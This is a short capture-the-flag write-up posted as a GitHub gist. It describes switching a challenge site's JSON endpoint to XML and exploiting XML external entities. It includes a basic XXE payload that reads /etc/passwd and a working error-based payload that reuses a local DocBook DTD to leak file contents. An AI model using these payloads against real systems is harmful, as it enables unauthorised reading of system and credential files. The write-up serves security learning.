Skip to content

Instantly share code, notes, and snippets.

@eyJhb
Created May 11, 2021 08:31
Show Gist options
  • Save eyJhb/9c88d1aa23275fdd5f6e9256f3678d7e to your computer and use it in GitHub Desktop.
Save eyJhb/9c88d1aa23275fdd5f6e9256f3678d7e to your computer and use it in GitHub Desktop.
Happy writeup

The Happy Website

Phase 1 - What the hell is this?

A website is presented, where you can choose from a list of options. When changing the options, a request is sent to the backend server which will give you a reply. One of the options is XXE, which will tell you that you cannot do XXE on JSON.

Inspecting the source of the website, it is shown that it encodes using JSON to communicate with the backend, which includes setting Content-Type: application/json, with a format of {"message": "Cola"}. Instead it can be set to Content-Type: application/xml, <message>Cola</message>.

Phase 2 - Initial trying to exploit

Knowing this, I tried to do basic XXE, by reading a file and just throwing it in instead of using Cola, which in hindsight does not make any sense.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<message>&xxe;</message>

Which will give you some error saying What are you doing?, or something like that. Changing &xxe; to ie. &unknown;, it will display a parsing error that the variable does not exists. That immediately lead me to try getting it to use the value from xxe, as a variable name, so that it would give me the content of /etc/passwd, as a error message.

Phase 3 - Exploit

Reading a little more, I could see that I could do what I wanted somehow with local dtd, which would give me a error with the content of the file.

I then ended up with the following (somewhat).

<!DOCTYPE root [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">

    <!ENTITY % ISOamsa '
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        '>

    %local_dtd;
]>
<root></root>

Which gave me the content of the file, and from there on out I needed to find the flag. Which was in root /root.

Other stuff

I also tried to send a request to my own webserver on my kali machine, + including a remote dtd file, but nothing worked.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment